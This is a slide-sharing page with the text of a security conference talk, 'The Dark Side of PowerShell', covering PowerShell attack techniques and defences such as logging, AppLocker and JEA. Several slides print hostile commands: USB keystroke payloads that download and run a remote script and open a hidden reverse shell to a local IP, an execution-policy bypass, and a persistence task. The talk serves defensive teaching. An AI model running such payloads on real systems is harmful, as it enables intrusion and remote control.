Hacking Your Career – Hacker Halted 2019 – Keith Turpin
 
Hacking Diversity – Hacker Halted . 2019 – Marcelle Lee
Hacking Diversity – Hacker Halted . 2019 – Marcelle LeeHacking Diversity – Hacker Halted . 2019 – Marcelle Lee
Hacking Diversity – Hacker Halted . 2019 – Marcelle Lee
 
Cloud Proxy Technology – Hacker Halted 2019 – Jeff Silver
Cloud Proxy Technology – Hacker Halted 2019 – Jeff SilverCloud Proxy Technology – Hacker Halted 2019 – Jeff Silver
Cloud Proxy Technology – Hacker Halted 2019 – Jeff Silver
 
DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...
DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...
DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...
 
Data in cars can be creepy – Hacker Halted 2019 – Andrea Amico
Data in cars can be creepy – Hacker Halted 2019 – Andrea AmicoData in cars can be creepy – Hacker Halted 2019 – Andrea Amico
Data in cars can be creepy – Hacker Halted 2019 – Andrea Amico
 
Breaking Smart [Bank] Statements – Hacker Halted 2019 – Manuel Nader
Breaking Smart [Bank] Statements – Hacker Halted 2019 – Manuel NaderBreaking Smart [Bank] Statements – Hacker Halted 2019 – Manuel Nader
Breaking Smart [Bank] Statements – Hacker Halted 2019 – Manuel Nader
 
Are your cloud servers under attack?– Hacker Halted 2019 – Brian Hileman
Are your cloud servers under attack?– Hacker Halted 2019 – Brian HilemanAre your cloud servers under attack?– Hacker Halted 2019 – Brian Hileman
Are your cloud servers under attack?– Hacker Halted 2019 – Brian Hileman
 
War Game: Ransomware – Global CISO Forum 2019
War Game: Ransomware – Global CISO Forum 2019War Game: Ransomware – Global CISO Forum 2019
War Game: Ransomware – Global CISO Forum 2019
 
How to become a Security Behavior Alchemist – Global CISO Forum 2019 – Perry ...
How to become a Security Behavior Alchemist – Global CISO Forum 2019 – Perry ...How to become a Security Behavior Alchemist – Global CISO Forum 2019 – Perry ...
How to become a Security Behavior Alchemist – Global CISO Forum 2019 – Perry ...
 
Introduction to FAIR Risk Methodology – Global CISO Forum 2019 – Donna Gall...
Introduction to FAIR Risk Methodology – Global CISO Forum 2019  –  Donna Gall...Introduction to FAIR Risk Methodology – Global CISO Forum 2019  –  Donna Gall...
Introduction to FAIR Risk Methodology – Global CISO Forum 2019 – Donna Gall...
 
Alexa is a snitch! Hacker Halted 2019 - Wes Widner
Alexa is a snitch! Hacker Halted 2019 - Wes WidnerAlexa is a snitch! Hacker Halted 2019 - Wes Widner
Alexa is a snitch! Hacker Halted 2019 - Wes Widner
 
Hacker Halted 2018: Don't Panic! Big Data Analytics vs. Law Enforcement
Hacker Halted 2018: Don't Panic! Big Data Analytics vs. Law EnforcementHacker Halted 2018: Don't Panic! Big Data Analytics vs. Law Enforcement
Hacker Halted 2018: Don't Panic! Big Data Analytics vs. Law Enforcement
 
Hacker Halted 2018: HACKING TRILLIAN: A 42-STEP SOLUTION TO EXPLOIT POST-VOGA...
Hacker Halted 2018: HACKING TRILLIAN: A 42-STEP SOLUTION TO EXPLOIT POST-VOGA...Hacker Halted 2018: HACKING TRILLIAN: A 42-STEP SOLUTION TO EXPLOIT POST-VOGA...
Hacker Halted 2018: HACKING TRILLIAN: A 42-STEP SOLUTION TO EXPLOIT POST-VOGA...
 
Hacker Halted 2018: Breaking the Bad News: How to Prevent Your IR Messages fr...
Hacker Halted 2018: Breaking the Bad News: How to Prevent Your IR Messages fr...Hacker Halted 2018: Breaking the Bad News: How to Prevent Your IR Messages fr...
Hacker Halted 2018: Breaking the Bad News: How to Prevent Your IR Messages fr...
 
Hacker Halted 2018: From CTF to CVE – How Application of Concepts and Persist...
Hacker Halted 2018: From CTF to CVE – How Application of Concepts and Persist...Hacker Halted 2018: From CTF to CVE – How Application of Concepts and Persist...
Hacker Halted 2018: From CTF to CVE – How Application of Concepts and Persist...
 
Hacker Halted 2018: SE vs Predator: Using Social Engineering in ways I never ...
Hacker Halted 2018: SE vs Predator: Using Social Engineering in ways I never ...Hacker Halted 2018: SE vs Predator: Using Social Engineering in ways I never ...
Hacker Halted 2018: SE vs Predator: Using Social Engineering in ways I never ...
 

Recently uploaded

Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Ramesh Iyer
 
"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi
Fwdays
 
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
Product School
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
Alan Dix
 
To Graph or Not to Graph Knowledge Graph Architectures and LLMs
To Graph or Not to Graph Knowledge Graph Architectures and LLMsTo Graph or Not to Graph Knowledge Graph Architectures and LLMs
To Graph or Not to Graph Knowledge Graph Architectures and LLMs
Paul Groth
 
Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........
Alison B. Lowndes
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance
 
Search and Society: Reimagining Information Access for Radical Futures
Search and Society: Reimagining Information Access for Radical FuturesSearch and Society: Reimagining Information Access for Radical Futures
Search and Society: Reimagining Information Access for Radical Futures
Bhaskar Mitra
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
Kari Kakkonen
 
Assuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyesAssuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyes
ThousandEyes
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Product School
 
How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...
Product School
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
Laura Byrne
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
Jemma Hussein Allen
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
Elena Simperl
 
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualitySoftware Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Inflectra
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
Frank van Harmelen
 
Mission to Decommission: Importance of Decommissioning Products to Increase E...
Mission to Decommission: Importance of Decommissioning Products to Increase E...Mission to Decommission: Importance of Decommissioning Products to Increase E...
Mission to Decommission: Importance of Decommissioning Products to Increase E...
Product School
 
Essentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with ParametersEssentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with Parameters
Safe Software
 

Recently uploaded (20)

Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
 
"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi
 
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
 
To Graph or Not to Graph Knowledge Graph Architectures and LLMs
To Graph or Not to Graph Knowledge Graph Architectures and LLMsTo Graph or Not to Graph Knowledge Graph Architectures and LLMs
To Graph or Not to Graph Knowledge Graph Architectures and LLMs
 
Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
 
Search and Society: Reimagining Information Access for Radical Futures
Search and Society: Reimagining Information Access for Radical FuturesSearch and Society: Reimagining Information Access for Radical Futures
Search and Society: Reimagining Information Access for Radical Futures
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
 
Assuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyesAssuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyes
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
 
How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
 
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualitySoftware Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
 
Mission to Decommission: Importance of Decommissioning Products to Increase E...
Mission to Decommission: Importance of Decommissioning Products to Increase E...Mission to Decommission: Importance of Decommissioning Products to Increase E...
Mission to Decommission: Importance of Decommissioning Products to Increase E...
 
Essentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with ParametersEssentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with Parameters
 

The Dark Side of PowerShell by George Dobrea

  • 1. The Dark Side of PowerShell George Dobrea
  • 2. George Dobrea xEduco gdobrea@xeduco.net | @gdobrea Microsoft Certified Trainer (since 1998) MVP – Enterprise Security (since 2005) EC-Council Instructor of the Year (2016)
  • 3. My Last trips:  Bucharest (home)  Tokyo  Phnom Penh / Cambodia  Washington DC  New Delhi  Dubai  London  Brussels  Vilnius, Tallinn, Riga  Finland  Peru  Germany  Toronto  Cape Town Teaching / Consulting / Speaking / Volunteering Or Just Travelling for Fun…
  • 4. My First Public Speech about PowerShell Vulnerabilities in a MS conference…
  • 5. > Get-content  PowerShell as an attack platform  PowerShell malware  Pen Testing tools based on PowerShell  PowerShell security, and bypassing that security  Defence strategies  PowerShell v5 new security features
  • 6. PowerShell  Shell and scripting language present by default on all Windows machines.  … Now open sourced and available on Linux  Designed to automate things and make life easier for system admin.  Based on .Net framework and is tightly integrated with Windows.  Access to the Win32 and Native API  Easy to learn and to write scripts  !
  • 8. Current Landscape of PowerShell Threats  38 % of security incidents reported utilized PowerShell in some form or another  68 % of system breaches having some PowerShell involvement.  31 % of all reported incidents involving PowerShell drummed up no security alerts before the threat was discovered. Carbon Black - United Threat Research Report 2016 “If PowerShell is a hammer, everything is a nail”
  • 10. … Why Not? Powershell is an ideal platform for attackers  Installed by DEFAULT on Windows Systems  Provides access to almost everything in a Windows platform which could be useful for an attacker o Registry, file system, active directory, networking, services, processes, WMI, COM, Hyper-V  Run code in memory without touching disk  WinRM is enabled by DEFAULT on Windows Server  Trusted by countermeasures (AntiVirus) and SysAdmins  A wealth of attack / pen testing tools already exist: o Shellcode injectors, DLL injectors, keyloggers, port-scanners, reverse/bind shells, botnets, hash dumping utilities
  • 11. PowerShell attack code can be invoked by:  Microsoft Office Macro (VBA)  WMI  HTA Script (HTML Application – control panel extensions)  CHM (compiled HTML help)  Java JAR file  Other script type (VBS/WSH/BAT/CMD)  Typically an Encoded Command Encoded commands obfuscate attack code and can even be compressed to avoid the Windows console character limitation (8191) Powershell.exe –WindowStyle Hidden –noprofile –EncodedCommand <BASE64ENCODED>
  • 12. Great, but how do I execute it on a victim machine ?  Code execution gained from an existing exploit  Via a website command injection vulnerability  Physical access – USB HID device  Stolen / captured credentials. With credentials, remote code execution can be gained with:  WMI  WSMAN  RDP, PowerShell Web Access ( yes, you can run PS from your smartphone ), etc…
  • 13. New Malicious Attacks using PowerShell…
  • 14. Real world PowerShell Malware  PowerWorm:  Infect’s Word and Excel documents, initial infection via macro in .doc/.xls  PoshKoder/PoshCoder:  PowerWorm crossed with CryptoLocker  Bitcoin ransom  DNSChanger  Trojan.DNSChanger circumvents Powershell restrictions
  • 15. Valuable Resource for Pen Testers : PoshInternals https://github.com/adamdriscoll/PoshInternals
  • 16. Valuable Resource for Pen Testers : PowerSploit https://github.com/mattifestation/PowerSploit
  • 17. Valuable Resource for Pen Testers : PowerShellEmpire http://www.PowerShellEmpire.com Modules:  Code Execution  Collection  Credentials  Exfiltration  Exploitation  Lateral Movement  Management  Persistence  Privilege Escalation  Recon  Situational Awareness  Fun & Trollsploit Capabilities:  PowerShell based Remote Access Trojan (RAT).  Python server component (Kali Linux).  AES Encrypted C2 channel.  Dumps and tracks credentials in database. Use: Integrated modules providing Initial Exploitation, Recon, Credential Theft & Reuse, as well as Persistence.
  • 18. Valuable Resource for Pen Testers : Nishang https://github.com/samratashok/nishang
  • 19. Kali Linux – Social Engineering Toolkit (SET) Kali Linux: More than 600 penetration testing tools included - Some of them using PowerShell attack techniques The SET has become a standard in the arsenal of the penetration tester
  • 21. BadUSB RubberDucky Attack ( example #1)
  • 22. BadUSB RubberDucky Attack ( example #2)  Create a PowerShell Meterpreter reverse TCP payload and place it somewhere on your Kali Linux Web Server  This bypasses most AV, HIPS, IDS and Firewalls and leaves no evidence on the system DELAY 750 GUI r DELAY 750 STRING cmd DELAY 200 ENTER DELAY 200 STRING powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.132/powershell.ps1') DELAY 200 ENTER
  • 23. Administrative privileges required Not persistent – limited to the current session Limitations of PowerShell Attacks
  • 24. Post Exploitation Attack Style … Or better use PowerCat instead - this a PowerShell version of net cat 
  • 25. DELAY 500 CAPSLOCK GUI R DELAY 500 STRING POWERSHELL.EXE -EX UNRESTRICTED -C "IMPORT-MODULE ('{0}:POWERCAT.PS1' -F (GET-VOLUME -FILESYSTEMLABEL DUCKY).DRIVELETTER); POWERCAT -C 192.168.56.101 -P 443 -EP" -WINDOWSTYLE HIDDEN ENTER Example: RubberDucky & Powercat Reverse Shell
  • 26.  Basic methods (easy to implement, also to detect and remove)  Registry Settings  Scheduled tasks  Advanced Persistent Mechanism:  Permanent WMI What if I want to persist my payloads PS> schtasks /Create /SC ONIDLE /I 1 ` /TN Updater /TR “powershell.exe ` -Command Write-Host ‘Doing evil stuff…’“
  • 27. Windows PowerShell Remoting and WinRM  PowerShell Remoting is based upon WinRM, Microsoft’s WS- Management implementation  Supports execution in 3 ways:  Remote enabled commands  Remotely executed script blocks  Remote sessions  Security Model = Trusted Devices + User Credentials  WinRM is required for the Windows Server Manager  WinRM is enabled by DEFAULT on Windows 2012(R2) Server  WinRM is allowed through Windows Firewall on all network profiles!  PowerShell/Win32-OpenSSH - work in progress !
  • 28. PowerShell Remoting Kerberos Double Hop Solved Securely $ServerB = Get-ADComputer -Identity ServerB $ServerC = Get-ADComputer -Identity ServerC Set-ADComputer -Identity $ServerC -PrincipalsAllowedToDelegateToAccount $ServerB  No PowerShell code modification.  No more SPNs for constrained delegation!  Credentials are not stored on ServerB.  Multiple domains and forests supported across trusts. https://blogs.technet.microsoft.com/ashleymcglone/2016/08/30/powershell-remoting-kerberos-double-hop-solved-securely/ Resource-Based Kerberos Constrained Delegation is the solution !
  • 29. PowerShell ‘Legacy’ Security Features  Administrative rights  UAC  Code Signing  Local or Remote source using zone.identifier alternate data stream  PowerShell Execution Policy
  • 30. Bypassing Execution Policy ( Easy !!!) The PowerShell Execution Policy is not a security boundary  Simply ask PowerShell: powershell.exe –executionpolicy unrestricted  Switch the files zone.idenfier back to local: unblock-file yourscript.ps1  Read the script in and then execute it (may fail depending on script)  Encode the script and use –encodedcommand – always works!!  Get/Steal a certificate, sign script, run script C:> powershell.exe –executionpolicy bypass –windowstyle hidden –noninteractive –nologo –file “c:exploit.ps1”
  • 31. Operational Security / Dealing with Forensics  Change WinRM settings / Block WinRM ?  Application whitelisting - AppLocker Policies  Enabling Constrained Language Mode  Log PowerShell Activity  Detecting attacks on mitigations (audit any changes to profile.ps1 or the registry keys that control module logging)
  • 32. PowerShell is not powershell.exe  powershell.exe is just a host application  it hosts the assembly that contains PowerShell and handles I/O System.Management.Automation.dll  Blocking PowerShell.exe does not stop PowerShell attacks!
  • 33. PowerShell v5 ♥ the Blue Team !  Over-the-shoulder transcription  Deep script block logging  Antimalware Scan Interface Integration  Cryptographic Message Syntax (CMS) encryption and decryption cmdlets  Secure code generation APIs  Applocker + Constrained Language Mode  Protected Event Logging  Preventing unrestricted admin access (JEA)
  • 34. PowerShell Logging PS > Get-EventLog – LogName “Windows PowerShell” - InstanceId 800 |` Where Message –match Add-Type | Select –First 10 | Format-List  Module Logging  Script Block Logging *  System-wide transcripts * *Enabled by KB3000850 on Windows Server 2012 R2/ Windows 8.1 or WMF 5.0  Microsoft-Windows-PowerShell/Operational events:  4103 –Module logging  4104/4105/4106 –Script block logging
  • 35. Limiting PowerShell Attack Capability with Constrained Language Mode  removing advanced feature support such as .Net & Windows API calls and COM access  The lack of this advanced functionality stops most PowerShell attack tools  Drawback: an environment variable must be set, either by running a command in PowerShell or via Group Policy  Pairing PowerShell v5 with AppLocker :  PowerShell v5 detects when Applocker Allow mode is in effect and sets the PowerShell language to Constrained Mode for interactive input and user- authored scripts, severely limiting the attack surface on the system [Environment]::SetEnvironmentVariable(‘__PSLockdownPolicy‘, ‘4’, ‘Machine‘)
  • 36. Just In Time, Just Enough Administration (JitJea)  based on Windows PowerShell constrained runspaces  allowing specific users to perform administrative tasks on servers without giving them administrator rights  auditing all actions that these users performed Before JEA  PS C:> Copy-Item C:SecureFilesFile.txt C:DeploymentFile.txt PS C:> Get-Content C:DeploymentFile.txt Information I should not see Using JEA  PS C:> Copy-Item C:SecureFilesFile.txt C:DeploymentFile.txt PS C:> Get-Content C:DeploymentFile.txt This command is not available
  • 37. PS> Enter-PSSession Server1 FAIL! – Talk to your supervisor for assistance “George I need to be admin on Server1 to restart SQL” “No Eddie. Just use JEA and connect to the ‘Maintenance EndPoint” PS> Enter-JeaSession Server1 –Name Maintenance Server1> Restart-Service MSSQLSERVER  Server1 Server1> Steal-Secrets Error: You are not authorized to Steal-Secrets
  • 38. Time to set PowerShell policies in your organization… Sample here:  Change ExecutionPolicy to only allow signed scripts to run.  Require all PowerShell scripts to be run from a specific location or path.  Discourage (or require exception for) the use of encoded parameters on the command line.  Discourage (or block) PowerShell scripts from downloading content from the Internet (or specify a “whitelist” of allowed IP addresses only).  Discourage (or block) the use of PowerShell to invoke commands on remote systems.  Require a custom parameter to be passed on all “legitimate” PowerShell usage.  Restrict PowerShell to specific users in your organization.  Require PowerShell to be launched from a specific process.
  • 39. Useful Resources  PowerShell Galery • https://www.powershellgallery.com/  Hey, Scripting Guy! Blog • http://blogs.technet.com/b/heyscriptingguy/  Just Enough Administration (JEA) • https://msdn.microsoft.com/en-us/powershell/jea/using-jea  Practical Persistence with PowerShell • http://www.exploit-monday.com/2013/04/PersistenceWithPowerShell.html>  PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection  https://adsecurity.org/?p=2921  PowerShell Version 5 Security Enhancements • https://adsecurity.org/?p=2277  Blogs of PowerShell gurus: • Jeffrey Snower, Matt Graeber, Adam Driscoll, Sean Metcalf, Will Schroeder
  • 40. Thank you ! Questions? George Dobrea XEduco.net | @gdobrea